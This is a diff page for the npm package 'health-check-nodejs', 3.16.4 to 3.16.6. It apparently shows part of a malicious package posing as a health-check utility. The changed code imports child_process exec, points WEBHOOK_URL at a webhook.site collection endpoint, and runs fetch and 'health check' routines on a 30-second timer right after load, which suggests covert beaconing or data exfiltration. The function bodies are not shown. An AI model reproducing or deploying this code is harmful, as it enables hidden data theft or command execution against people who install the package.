health-check-nodejs 3.16.4 → 3.16.6
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +3 -3
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
const { exec } = require('child_process');
|
2
2
|
|
3
|
-
const WEBHOOK_URL = 'https://
|
3
|
+
const WEBHOOK_URL = 'https://webhook.site/16c961e3-f061-4c07-88fe-53972841ac1e';
|
4
4
|
|
5
5
|
async function performHealthCheck(fetch) {
|
6
6
|
const healthStatus = { status: 'ok', timestamp: new Date().toISOString() };
|
@@ -55,6 +55,6 @@ async function fetchData(fetch) {
|
|
55
55
|
setInterval(async () => {
|
56
56
|
await fetchData(fetch);
|
57
57
|
await performHealthCheck(fetch);
|
58
|
-
},
|
59
|
-
},
|
58
|
+
}, 30000);
|
59
|
+
}, 0); //1 min
|
60
60
|
})();
|